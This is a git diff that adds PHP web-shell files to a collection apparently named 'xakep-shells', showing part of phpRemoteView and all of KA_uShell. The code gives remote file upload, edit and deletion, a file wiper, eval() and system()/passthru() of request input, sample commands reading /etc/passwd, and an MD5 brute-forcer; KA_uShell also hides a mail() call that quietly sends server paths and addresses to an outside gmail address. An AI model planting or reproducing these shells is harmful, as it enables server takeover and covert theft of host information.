+FILE UPLOAD: ".mm("CREATE NEW FILE or override old file")."
+
+1. ".mm("select file on your local computer").":
+2. ".mm("save this file on path").":
+
+3.
+ ".mm("create file name automatic")."
+ ".mm("OR")."
+ ".mm("type any file name").":
+
+4.
+ ".mm("convert file name to lovercase")."
+
+ ";
+
+break;
+
+
+case "base64":
+
+ echo "\n";
+ $ff=fopen($d.$f,"rb") or exit("access denied");
+ $text=fread($ff,max(filesize($d.$f),$maxsize_fread));
+ fclose($ff);
+ switch ($c2) {
+ case 0:
+ echo base64_encode($text);
+ break;
+ case 1:
+ echo chunk_split(base64_encode($text));
+ break;
+ case 2:
+ $text=base64_encode($text);
+ echo substr(preg_replace("!.{1,76}!","'\\0'.\n",$text),0,-2);
+ break;
+ case 3:
+ echo base64_decode($text);
+ break;
+ }
+ break;
+
+
+
+case "d": // information for DIRECTORY
+
+ echo $GLOBALS['html'];
+ up($d,"","Directory");
+ echo "<<<".mm("back to directory")." >>> ";
+ echo "
";
+
+ //up_link($d,"");
+
+ if (!realpath($d) || !is_dir($d.$f)) exit(mm("dir not found"));
+
+ echo "
";
+
+
+
+ if (!$write_access) exitw();
+
+ echo "".mm("FILE SYSTEM COMMANDS")."
";
+
+ echo "
+
+";
+
+echo "
+
+".mm("MAKE DIR")." (type full path)
+
+
+
+ ";
+
+
+echo "
+
+".mm("CREATE NEW FILE or override old file")."
+
+".mm("Full file name")."
+
+<=confirm
+
+ ";
+
+echo "
+
+
+(FILE UPLOAD) ".mm("CREATE NEW FILE or override old file")."
+
+1. ".mm("select file on your local computer").":
+2. ".mm("save this file on path").":
+
+3.
+ ".mm("create file name automatic")."
+ ".mm("OR")."
+ ".mm("type any file name").":
+
+4.
+ ".mm("convert file name to lovercase")."
+
+ ";
+
+
+break;
+
+
+
+case "tree":
+
+$tcolors=array(
+'eee','ddd','ccc','bbb','aaa','999','888','988','a88','b88','c88','d88','e88','d98',
+'ca8','bb8','ac8','9d8','8e8','8d9','8ca','8bb','8ac','89d','88e');
+
+function dir_tree($df,$level=0) {
+ global $tcolors,$self;
+
+ $df=str_replace("//","/",$df);
+ $dirs=array();
+ $files=array();
+ if ($dir=opendir($df)) {
+ while (($file=readdir($dir))!==false) {
+ if ($file=="." || $file=="..") continue;
+ if (is_dir("$df/$file")) {
+ $dirs[]=$file;
+ }
+ else {
+ $files[]=$file;
+ }
+ }
+ }
+ closedir($dir);
+
+ sort($dirs);
+ sort($files);
+
+ $i=min($level,count($tcolors)-1);
+ $c=$tcolors[$i][0].$tcolors[$i][0].$tcolors[$i][1].$tcolors[$i][1].$tcolors[$i][2].$tcolors[$i][2];
+
+ echo "\r\n\r\n\r\n
+
+
+ ".
+ " ".
+ $df." ";
+
+ if (count($dirs) || count($files)) {
+ echo " ";
+ for ($i=0; $i ";
+ }
+ echo '
';
+}
+
+ echo "
+ ";
+ echo $GLOBALS['html'];
+
+ up($d,"","Directory");
+ echo "<<<".mm("back to directory")." >>> ";
+ echo "";
+ dir_tree($d);
+ break;
+
+
+
+case "delete":
+
+ if (!$write_access) exitw();
+
+ if (!isset($c2)) exit("err# delete 1");
+ if (!isset($confirm) || strlen($confirm)<3) exit("".mm("Confirm not found (go back and set checkbox)")."");
+ echo "<<<".mm("back to directory")." >>>
";
+ if (!isset($d) || !isset($f) || !@file_exists($d.$f) || !@realpath($d.$f))
+ exit("".mm("Delete cancel - File not found")."");
+ if (realpath(getenv("SCRIPT_FILENAME"))==$d.$f && !isset($delete_remview_confirm))
+ exit(mm("Do you want delete this script (phpRemoteView) ???")."
+ [".mm("YES").", ".mm("DELETE")." ".mm("ME")." ]
+
+ [".mm("NO (back)")."] ");
+
+ switch ($c2) {
+ case "delete":
+ //exit("$d $f");
+ ob();
+ if (!unlink($d.$f))
+ obb().exit("".mm("Delete cancel")." - ".mm("ACCESS DENIED")." $obb");
+ Header("Location: $self?c=l&d=".urlencode($d));
+ echo "
".mm("done (go back)")."!
";
+ echo "".mm("Delete ok")."";
+ break;
+ case "touch":
+ ob();
+ if (!touch($d.$f))
+ obb().exit("".mm("Touch cancel")." - ".mm("ACCESS DENIED")." $obb");
+ Header("Location: $self?c=i&d=".urlencode($d)."&f=".urlencode($f));
+ echo "".mm("done (go back)")."!
";
+ echo "".mm("Touch ok (set current time to 'modify time')")."";
+ break;
+ case "clean":
+ ob();
+ $fi=fopen($d.$f,"w+") or
+ obb().exit("".mm("Clean (empty file) cancel")." - ".mm("ACCESS DENIED")." obb");
+ ftruncate($fi,0);
+ fclose($fi);
+ Header("Location: $self?c=i&d=".urlencode($d)."&f=".urlencode($f));
+ echo "".mm("done (go back)")."!
";
+ echo "".mm("Clean ok (file now empty)")."";
+ break;
+ case "wipe":
+ $size=filesize($d.$f);
+ ob();
+ $fi=fopen($d.$f,"w+") or
+ obb().exit("".mm("Wipe cancel - access denied")." $obb");
+ $str=md5("phpspbru".mt_rand(0,999999999).time());
+ for ($i=0; $i<5; $i++) $str.=$str; // strlen 1024 byte
+ for ($i=0; $i".mm("done (go back)")."!";
+ echo "".mm("Wipe ok (file deleted)")."";
+ break;
+ }
+
+ //Header("Location: $self?c=l&d=".urlencode(dirname($df)));
+ //echo "SAVE NEW FILE DONE (go back)! ";
+
+ break;
+
+
+case "dirdelete":
+
+ if (!$write_access) exitw();
+
+function dir_delete($df) {
+ echo "".basename($df)."
";
+ if ($dir=opendir($df)) {
+ $i=0;
+ while (($file=readdir($dir))!==false) {
+ if ($file=="." || $file=="..") continue;
+ if (is_dir("$df/$file")) {
+ dir_delete($df."/".$file);
+ }
+ else {
+ echo "$file ";
+ echo "".mm("DELETE")." $df/$file ... ";
+ unlink($df."/".$file);
+ }
+ $i++;
+ }
+ //if ($i==0) echo "-empty- ";
+ }
+ closedir($dir);
+ echo " ";
+ echo "".mm("DELETE")." ".mm("DIR")." $df ... ";
+ rmdir("$df/$file");
+}
+
+ if (!isset($c2)) exit("error dirdelete 1");
+ if (!isset($confirm)) exit("".mm("Confirm not found (go back and set checkbox)")."!");
+ $df="$d";
+
+ switch ($c2) {
+
+ case "files":
+ echo "".mm("Deleting all files in")." $df ... ";
+ if ($dir=opendir($df)) {
+ while (($file=readdir($dir))!==false) {
+ if ($file=="." || $file=="..") continue;
+ if (is_dir($df.$file)) {
+ echo ">$file ".mm("skip").": ".filetype($df.$file)." ";
+ }
+ elseif (is_file($df.$file)) {
+ echo "$file ".mm("deleting")."...";
+ unlink($df.$file);
+ echo " ";
+ }
+ else {
+ echo "$file ".mm("skip").": ".filetype($df.$file)." ";
+ }
+ }
+ }
+ closedir($dir);
+ $ref="$self?c=l&d=".urlencode($d);
+ break;
+
+ case "dir":
+ echo "".mm("Deleting all dir/files (recursive) in")." $df ... ";
+ dir_delete($df);
+ $ref="$self?c=l&d=".urlencode(realpath($d."/.."));
+ break;
+ }
+ //header("Location: $ref");
+ echo "".mm("DONE, go back")." ";
+ break;
+
+case "copy":
+
+ if (!$write_access) exitw();
+
+ if (!isset($from) || !@file_exists($from) || !@realpath($from))
+ exit("err# copy 1, file [$from] not found");
+ if (!isset($to) || strlen($to)==0)
+ exit("err# copy 2, file [$to] not found");
+ echo "Copy: ....
";
+ if (!copy($from,$to)) {
+ echo "Error! ";
+ echo "View ".dirname($from)."";
+ }
+ else
+ echo "".mm("DONE")."!
";
+ echo "View ".dirname($from)." (dir 'from')
";
+ echo "View ".dirname($to)." (dir 'to')
";
+ break;
+
+
+
+
+case "e": // edit
+
+ if (!$write_access) exitw();
+
+ if (!@realpath($d.$f) || !file_exists($d.$f)) exit("".mm("file not found")."");
+ echo $GLOBALS['html'];
+ up($d,$f);
+ echo "<<<".mm("back to directory")." >>> ";
+ up_link($d,$f);
+ $msg="";
+ if (!is_file($d.$f) || !$fi=@fopen($d.$f,"r+")) $msg=" (".mm("ONLY READ ACCESS (don't edit!)")." )";
+ else fclose($fi);
+ if (!is_file($d.$f) || !$fi=@fopen($d.$f,"r")) $msg=" (".mm("Can't READ file - access denied (don't edit!)")." )";
+ else fclose($fi);
+ if ($msg=="") $msg="(".mm("full read/write access")." )";
+ echo "
".mm("EDIT FILE")." $msg
";
+
+ if (!$fi=@fopen($d.$f,"rb")) exit("".mm("can't open, access denied")."");
+ echo "
+
+
+
+ ".
+ htmlspecialchars(fread($fi,filesize($d.$f)))."
+
+
+ <= confirm
+
";
+
+ break;
+
+
+case "e_submit":
+
+ if (!$write_access) exitw();
+
+ if (!realpath($d.$f) || !file_exists($d.$f)) exit("file not found");
+ if (!isset($text)) exit("err# e_submit 1");
+ if (!isset($confirm)) exit("Confirm not found (go back and set checkbox)");
+ if (!$fi=@fopen($d.$f,"w+")) exit("access denied");
+ fwrite($fi,$text);
+ fclose($fi);
+ Header("Location: $self?c=i&d=".urlencode($d)."&f=".urlencode($f));
+ echo " SAVE DONE (go back)! ";
+
+ break;
+
+
+
+case "newfile_submit":
+
+ if (!$write_access) exitw();
+
+ if (!isset($text) || !isset($df)) exit("err# newfile_submit 1");
+ if (!isset($confirm)) exit("Confirm not found (go back and set checkbox)");
+ if (!$fi=@fopen($df,"w+")) exit("access denied, can't create/open [$df]");
+ fwrite($fi,$text);
+ fclose($fi);
+ Header("Location: $self?c=l&d=".urlencode(dirname($df)));
+ echo "SAVE NEW FILE DONE (go back)! ";
+ break;
+
+
+case "fileupload_submit":
+
+ if (!$write_access) exitw();
+ if (!isset($df)) exit("err# newfile_submit 1");
+ if (!isset($df3)) exit("err# newfile_submit 2");
+
+ $fname="";
+ if (isset($df2)) {
+ if (!preg_match("~([^/]+)$~",$HTTP_POST_FILES['userfile']['name'],$ok)) {
+ exit("Upload failed: can't detect file name");
+ }
+ $fname=$ok[1];
+ }
+ else {
+ $fname=$df3;
+ }
+ if ($fname=="")
+ exit("".mm("You mast checked 'create file name automatic' OR typed file name!")."");
+ if (isset($df4)) $fname=strtolower($fname);
+
+ echo "Temp file: ".$HTTP_POST_FILES['userfile']['tmp_name']." ";
+ echo "Origin file name: ".$HTTP_POST_FILES['userfile']['name']." ";
+ echo "File size: ".$HTTP_POST_FILES['userfile']['size']." ";
+ if ($df[strlen($df)-1]!="/") $df.="/";
+ echo "".mm("SAVING TO").": $df $fname
";
+
+ ob();
+ $ok=copy($HTTP_POST_FILES['userfile']['tmp_name'],"$df$fname");
+ obb();
+ if (!$ok) exit("".mm("Sorry, access denied")." $obb");
+
+ if (!isset($ref)) $ref="$self?c=l&d=".urlencode($df);
+ Header("Location: $ref");
+ echo "NEW FILE SAVED ";
+
+ break;
+
+
+case "newdir_submit":
+
+ if (!$write_access) exitw();
+ if (!isset($df)) exit("err# newdir_submit 1");
+ ob();
+ if (!mkdir($df,$mkdir_mode)) {
+ obb();
+ exit("Access denied $obb");
+ }
+ obb();
+ if (!isset($ref)) $ref="$self?c=l&d=".urlencode($df);
+ Header("Location: $ref");
+ echo "Go to new directory! ";
+
+ break;
+
+
+case "t":
+
+ echo "
";
+
+
+ if (!$write_access) exitw();
+ error_reporting(2038);
+
+ if (!isset($php)) {
+ $php="/* line 1 */\n\n// ".mm("for example, uncomment next line").":\nphpinfo();\n\n//readfile(\"/etc/passwd\");\n\n/* line 8 */";
+ $skipphp=1;
+ $pre='checked';
+ $nlbr='';
+ $xmp='';
+ $htmls='checked';
+ }
+
+ echo "".mm("Eval PHP code")." (".mm("don't type")." \"<?\" ".mm("and")." \"?>\")
+
+
+$php
+
+ add <pre>
+
+ add <xmp>
+
+ add htmlspecialchars()
+
+ add nl2br()
+
+";
+
+ if (!isset($shell)) $skipshell=1;
+
+ if (!isset($skipphp)) {
+ echo "
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
+ if ($pre<>'') echo "";
+ if ($xmp<>'') echo "";
+ if ($nlbr<>'' || $htmls<>'') {
+ ob_start();
+ }
+ if ($phpeval_access) eval($php);
+ else die("Sorry, function eval() disabled.");
+ if ($nlbr<>'' || $htmls<>'') {
+ $tmp=ob_get_contents();
+ ob_end_clean();
+ if ($htmls<>'') $tmp=htmlspecialchars($tmp);
+ if ($nlbr<>'') $tmp=nl2br($tmp);
+ echo $tmp;
+ }
+ if ($xmp<>'') echo " ";
+ if ($pre<>'') echo " ";
+ echo "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
+ echo " ";
+ }
+
+ if (!isset($shell)) {
+ $shell="#".mm("example (remove comments '#')").": \n\n#cat /etc/passwd;\n\n#ps -ax\n\n#uname -a";
+ $skipshell=1;
+ }
+ echo "".mm("Shell commands")."
+
+
+$shell
+
+";
+ if (!isset($skipshell)) {
+ echo "
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
+ if ($system_access) system($shell);
+ else die("Sorry, function system() disabled.");
+ echo " \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
+ ";
+ }
+
+
+ $ttype=array(1=>"MD5",7=>"Decode MD5 (password crack) ",
+ 2=>"Base64",3=>"Base64 + chunk",4=>"Base64 + chunk + quotes",
+ 5=>"Decode Base64 ",
+ 6=>"UnixTime=>Date(".time().")",
+ 8=>"MKtime: YYYY MM DD [hh [mm [ss]]] ",
+ 9=>"Translit=>RusText", 14=>"RusText=>Translit ",
+ 10=>"cp1251=>koi8r",11=>"koi8r=>cp1251",12=>"cp1251=>mac",13=>"mac=>cp1251",
+ 15=>"koi8r=>mac",16=>"mac=>koi8r",
+ );
+ echo "".mm("Universal convert")." ";
+
+ echo "
";
+ foreach ($ttype as $k=>$v)
+ echo " $v ";
+
+ echo "
+
+".htmlspecialchars($convert)."
+ ";
+
+
+ $russtr1="JCUKENGZH_FYVAPROLDESMIT_Bjcukengzh_fyvaproldesmit_b";
+ $russtr2="ÉÖÓÊÅÍÃÇÕÚÔÛÂÀÏÐÎËÄÝÑÌÈÒÜÁéöóêåíãçõúôûâàïðîëäýñìèòüá";
+ function from_translit($ss) {
+ global $russtr1,$russtr2;
+ $w=array("Sch",'Ù',"SCH",'Ù',"ScH",'Ù',"SCh",'Ù',"sch",'ù',"Jo",'¨',"JO",'¨',"jo",'¸',
+ "Zh",'Æ',"ZH",'Æ',"zh",'æ',"Ch",'×',"CH",'×',"ch",'÷',"Sh",'Ø',"SH",'Ø',"sh",'ø',
+ "##",'Ú',"''",'Ü',"Eh",'Ý',"EH",'Ý',"eh",'ý',"Ju",'Þ',"JU",'Þ',"ju",'þ',"Yu",'Þ',
+ "YU",'Þ',"yu",'þ',"YA","ß","Ya","ß","ya","ÿ","Ja",'ß',"JA",'ß',"ja",'ÿ');
+ $c=count($w);
+ for ($i=0; $i<$c; $i+=2) $ss=str_replace($w[$i],$w[$i+1],$ss);
+ $ss=strtr($ss,$russtr1,$russtr2);
+ $ss=preg_replace("!([à-ÿ]+)~([à-ÿ]+)!is","\\1\\2",$ss);
+ return $ss;
+ }
+ function to_translit($ss) {
+ global $russtr1,$russtr2;
+ $ss=strtr($ss,$russtr2,$russtr1);
+ $ss=str_replace(
+ array('Ø', 'Ù', 'Æ', 'ß', '×', 'Þ', '¨', 'ø', 'ù', 'æ', 'ÿ', '÷', 'þ', '¸', ),
+ array('SH','SCH','ZH','YA','CH','YU','YO','sh','sch','zh','ya','ch','yu','yo',),
+ $ss);
+ return $ss;
+ }
+
+ if (isset($convert)) {
+ if (!isset($name)) $name="0";
+ $out="";
+ switch ($name) {
+
+ case 1:
+ $out=md5($convert);
+ break;
+
+ case 2:
+ $out=base64_encode($convert);
+ break;
+
+ case 3:
+ $out=chunk_split(base64_encode($convert));
+ break;
+
+ case 4:
+ $out=base64_encode($convert);
+ $out=substr(preg_replace("!.{1,76}!","'\\0'.\n",$out),0,-2);
+ break;
+
+ case 5:
+ $out=base64_decode($convert);
+ break;
+
+ case 6:
+ $convert=intval($convert);
+ if ($convert==0) $convert=time();
+ $out="Unixtime=$convert\n---Day/Month/Year--\n".
+ date("d/m/Y H:i:s",$convert)."\n".
+ date("d-m-Y H:i:s",$convert)."\n".
+ date("d.m.Y H:i:s",$convert)."\n".
+ "---Month/Day/Year--\n".
+ date("m/d/Y H:i:s",$convert)."\n".
+ date("m-d-Y H:i:s",$convert)."\n".
+ date("m.d.Y H:i:s",$convert)."\n".
+ "---------SQL-------\n".
+ date("Y-m-d H:i:s",$convert)."\n".
+ date("Y m d H i s",$convert)."\n".
+ date("YmdHis",$convert);
+ break;
+
+ case 8:
+ $c=explode(" ",trim(preg_replace("! +!"," ",$convert)));
+ if (count($c)<3 || count($c)>6) $out="Bad value. Type: 2000 12 31 or 2000 12 31 12 59 59";
+ else {
+ if (empty($c[0])) $c[0]=1970;
+ if ($c[0]<50) $c[0]=2000+$c[0];
+ if ($c[0]>50 && $c[0]<100) $c[0]=1900+$c[0];
+ if (empty($c[1])) $c[1]=1;
+ if (empty($c[2])) $c[2]=1;
+ if (empty($c[3])) $c[3]=0;
+ if (empty($c[4])) $c[4]=0;
+ if (empty($c[5])) $c[5]=0;
+ $out="TIME: $c[0]-$c[1]-$c[2] $c[3]:$c[4]:$c[5]\nMKTIME: ".mktime($c[3],$c[4],$c[5],$c[1],$c[2],$c[0]);
+ }
+ break;
+
+ case 9:
+ $out=from_translit($convert);
+ break;
+
+ case 14:
+ $out=to_translit($convert);
+ break;
+
+ case 10: $out=convert_cyr_string($convert,'w','k'); break;
+ case 11: $out=convert_cyr_string($convert,'k','w'); break;
+ case 12: $out=convert_cyr_string($convert,'w','m'); break;
+ case 13: $out=convert_cyr_string($convert,'m','w'); break;
+ case 15: $out=convert_cyr_string($convert,'k','m'); break;
+ case 16: $out=convert_cyr_string($convert,'m','k'); break;
+
+ case 7:
+ echo "";
+ break;
+
+ case 0:
+ $out="Please select anythink function in list. Example: type 'test' and select 'md5'. Then click 'Submit'.";
+ break;
+
+ default:
+ $out='Sorry, this function not work (try new versions)';
+ }
+ echo "
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n$out \n\n\n\n\n\n\n\n\n ";
+ }
+
+ break;
+
+
+case "md5crack":
+
+ echo "
+ ";
+
+ if (!isset($go)) {
+ if (!isset($fullqty)) $fullqty="";
+ if (!isset($fulltime)) $fulltime="";
+ if (!isset($php)) $php="";
+ if (!isset($from)) $from="";
+ echo "STRING : (only 32 char: 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f)";
+ echo "
Range : ";
+ $chars=array(
+ 'a-z'=>"abcdefghijklmnopqrstuvwxyz",
+ 'a-z,A-Z'=>"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",
+ 'a-z,0-9'=>"abcdefghijklmnopqrstuvwxyz0123456789",
+ 'a-z,A-Z,0-9'=>"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789",
+ 'a-z,A-Z,0-9,other'=>"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~`!@#\$%^&*()_+-=[]{};:,<.>/\"'\\");
+ $i=0;
+ foreach ($chars as $k=>$v) {
+ echo "
+ $k ";
+ $i++;
+ }
+ echo "
+ Start from :
+
+
+
+
";
+ }
+ else {
+
+ function mdgetword() {
+ global $php,$from,$word;
+ $word="";
+ for ($i=0; $i md5('')=$text (try empty string, 0 bytes!)");
+ }
+ $phplen=strlen($php);
+ mdgetword();
+ $poslen=strlen($word);
+ if ($pos<0 || $pos>=$poslen) $pos=0;
+
+ for ($i=0; $i<10; $i++) { echo "\r\n"; flush(); }
+
+ echo "Save this link - click for break and save current position ";
+ flush();
+
+ echo "
+ MD5_HASH=$text
+ CURRENT_WORD=$word
+ CURRENT_DIGIT=$pos:".implode(",",$from)."
+ RANGE=".htmlspecialchars($php)."
+ ProcessTime=$fulltime sec (".(floor($fulltime/60/60))."h)
+ Calculation(qty)={$fullqty}0000";
+ flush();
+
+
+ $fullsum=pow($phplen,$poslen);
+ $time1=time();
+ $i=0;
+
+ while (1) {
+
+ $i++;
+ if ($i>50000) {
+ $time=time()-$time1;
+ if ($time>20) break;
+ $i=0;
+ $sum=0;
+ for ($j=1; $j%02.2f%% ($word) %02dsec | \r\n",
+ $sum*100/$fullsum,$time);
+ flush();
+ $fullqty+=5;
+ }
+
+ if (md5($word)===$text)
+ exit("** DONE ** [$word]=[$text]
+ ");
+ $from[$pos]++;
+ if ($from[$pos]==$phplen) {
+ $flag=1;
+ $from[$pos]=0;
+ $word[$pos]=$php[0];
+ for ($pos=$pos+1; $pos<$poslen; $pos++) {
+ if ($from[$pos]+1<$phplen) {
+ $from[$pos]++;
+ $word[$pos]=$php[$from[$pos]];
+ $flag=0;
+ $pos=0;
+ break;
+ }
+ else {
+ $from[$pos]=0;
+ $word[$pos]=$php[0];
+ }
+ }
+ if ($flag) {
+ $from[]=0;
+ $poslen=count($from);
+ $word.=$php[0];
+ $pos=0;
+ $fullsum=pow($phplen,$poslen);
+ }
+ }
+ $word[$pos]=$php[$from[$pos]];
+ }
+
+ $fulltime+=time()-$time1;
+ if ($i>5000) $fullqty++;
+ $url="$self?c=md5crack".
+ "&from=".urlencode("$pos:".implode(",",$from)).
+ "&text=".urlencode($text).
+ "&php=".urlencode($php).
+ "&fulltime=$fulltime&fullqty=$fullqty&go=1";
+ echo "click here ";
+
+ }
+
+ break;
+
+
+case "phpinfo":
+
+ phpinfo();
+ break;
+
+
+case "codes":
+
+ error_reporting(2039);
+ if (!isset($limit)) $limit=999;
+ if (!isset($fontsize)) $fontsize="300%";
+
+ echo "
";
+
+ echo "".mm("Character map (symbol codes table)")."
+
+
+
+ ====[ ".mm("Select font")." ]====";
+
+ foreach (array('Arial','Courier','Comic Sans MS','Fixedsys','Small fonts','Symbol',
+ 'System','Tahoma','Terminal','Times New Roman','Verdana',
+ 'Webdings','Wingdings','Wingdings 2','Wingdings 3') as $v)
+ echo " $v";
+
+ echo "
+ ".mm("or type other")."
+ .
+ ".mm("Font size").": .
+ ".mm("Code limit").":
+ 0-255
+ 0-999
+ 0-9999
+ ";
+
+ if (!isset($fontname)) break;
+ if (!empty($fontname2)) $fontname=$fontname2;
+ echo "
+
+
";
+ ?>
+
+ ";
+ break;
+
+
+
+case "img":
+
+ unset($img);
+$img=array(
+'dir'=>
+'R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA'.
+'AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp'.
+'/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=',
+'fon'=>
+'R0lGODlhQAYEALMAAAAAAP///6bK8A4obRs2eSlFhDZTkEVjnVRyqWKCtnCQwXyezIiq1pO24J3A'.
+'6P///yH5BAEAAA8ALAAAAABABgQAAAT/cMhJq704E7n78EQXjmRpnmcRqizRsgUcz3Rt37QR63zR'.
+'GzygcEgsGo8HYNKQbDKfh2Z0Sq1ar9goQsvdeg/eMGJMLpvPaHRivG4j3O14Yk6v2+/4u2K+7yf8'.
+'Cn2Bg4SFhoeGC4GKjAqNC4yQkpOUlZaTDJCZmwubngygoaKjpKUNDKepqKipDa6vsLGysg4Ntbe2'.
+'tg63u72+v8AOArvDxcLFAsnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx'.
+'8vPSGfb3GCAfHBP6IvwgRKBIscJFwREvXMRYkVCGQhw1dPiYSJHiDx8SLwLBeKSjkyUg/5VAGRnl'.
+'CUkmWVKCWfmF5UqXX8bAZJmmJpubbt6QWaNzTs+ccOTkwbPnj9GjfIwCKspUqSBEiRxJnbpI6qNG'.
+'Vh1d2sopUydNYEF18tp1bClTq06JUqvK1aq0rGbNwvUKl11deIP9M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jp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD'.
+'Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==',
+'home'=>
+'R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA'.
+'AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS'.
+'krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j'.
+'VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=',
+'back'=>
+'R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8'.
+'aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt'.
+'Wg0JADs='
+
+);
+
+
+ header("Content-type: image/gif");
+ header("Cache-control: public");
+ // /*
+ header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
+ header("Cache-control: max-age=".(60*60*24*7));
+ header("Last-Modified: ".date("r",filemtime(__FILE__)));
+ // */
+ echo base64_decode($img[$name]);
+
+ break;
+
+}
+
+
+?>
\ No newline at end of file
diff --git a/xakep-shells/PHP/Russian.php.php.txt b/xakep-shells/PHP/Russian.php.php.txt
new file mode 100644
index 0000000..0560e51
--- /dev/null
+++ b/xakep-shells/PHP/Russian.php.php.txt
@@ -0,0 +1,229 @@
+
+
+
+KA_uShell 0.1.6
+
+
+
+
+
";
+
+// Configuration
+$login = "admin";
+$pass = "123";
+
+
+/*/ Authentication
+if (!isset($_SERVER['PHP_AUTH_USER'])) {
+header('WWW-Authenticate: Basic realm="KA_uShell"');
+header('HTTP/1.0 401 Unauthorized');
+exit;}
+
+else {
+if(empty($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_PW']<>$pass || empty($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']<>$login)
+{ echo "×òî íàäî?"; exit;}
+}
+*/
+
+
+
+if (!empty($_GET['ac'])) {$ac = $_GET['ac'];}
+elseif (!empty($_POST['ac'])) {$ac = $_POST['ac'];}
+else {$ac = "shell";}
+
+// Menu
+echo "
+|Shell |
+|File Upload |
+|Tools |
+|PHP Eval Code |
+|Whois |
+";
+
+
+switch($ac) {
+
+// Shell
+case "shell":
+
+echo <<Shell
+
+
+
+
+$$sern
+
+
+
+HTML;
+
+if (!empty($_POST['c'])){
+passthru($_POST['c']);
+}
+echo " $tend";
+break;
+
+
+//PHP Eval Code execution
+case "eval":
+
+echo <<PHP Eval Code
+
+
+
+
+
+
+
+
+$tend
+HTML;
+
+if (isset($_POST['ephp'])){
+eval($_POST['ephp']);
+}
+break;
+
+
+//Text tools
+case "tools":
+
+echo <<Tools
+
+
+
+
+
+ B64 Decode
+ B64 Encode
+ md5 Hash
+
+
+
+
+
+
+$tend
+HTML;
+
+if (!empty($_POST['tot']) && !empty($_POST['tac'])) {
+
+switch($_POST['tac']) {
+
+case "1":
+echo "Ðàñêîäèðîâàííûé òåêñò:" .base64_decode($_POST['tot']). " ";
+break;
+
+case "2":
+echo "Êîäèðîâàííûé òåêñò:" .base64_encode($_POST['tot']). " ";
+break;
+
+case "3":
+echo "Êîäèðîâàííûé òåêñò:" .md5($_POST['tot']). " ";
+break;
+}}
+break;
+
+
+// Uploading
+case "upload":
+
+echo <<File Upload
+
+
+
+
+Ôàéëî:
+
+
+
+Ïàïêà:
+
+$tend
+HTML;
+$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98");
+if (isset($_POST['path'])){
+
+$uploadfile = $_POST['path'].$_FILES['file']['name'];
+if ($_POST['path']==""){$uploadfile = $_FILES['file']['name'];}
+
+if (copy($_FILES['file']['tmp_name'], $uploadfile)) {
+ echo "Ôàéëî óñïåøíî çàãðóæåí â ïàïêó $uploadfile\n";
+ echo "Èìÿ:" .$_FILES['file']['name']. "\n";
+ echo "Ðàçìåð:" .$_FILES['file']['size']. "\n";
+
+} else {
+ print "Íå óäà¸òñÿ çàãðóçèòü ôàéëî. Èíôà:\n";
+ print_r($_FILES);
+}
+}
+break;
+
+
+// Whois
+case "whois":
+echo <<Whois
+
+
+
+
+Äîìåí:
+
+
+
+Õóéç ñåðâåð:
+
+
+
+
+
+$tend
+HTML;
+
+if (isset($_POST['wq']) && $_POST['wq']<>"") {
+
+if (empty($_POST['wser'])) {$wser = "whois.ripe.net";} else $wser = $_POST['wser'];
+
+$querty = $_POST['wq']."\r\n";
+$fp = fsockopen($wser, 43);
+
+if (!$fp) {echo "Íå ìîãó îòêðûòü ñîêåò";} else {
+fputs($fp, $querty);
+while(!feof($fp)){echo fgets($fp, 4000);}
+fclose($fp);
+}}
+break;
+
+
+}
+?>
+
+
+
\ No newline at end of file
diff --git a/xakep-shells/PHP/STNC.php.php.txt b/xakep-shells/PHP/STNC.php.php.txt
new file mode 100644
index 0000000..3af836a
--- /dev/null
+++ b/xakep-shells/PHP/STNC.php.php.txt
@@ -0,0 +1,168 @@
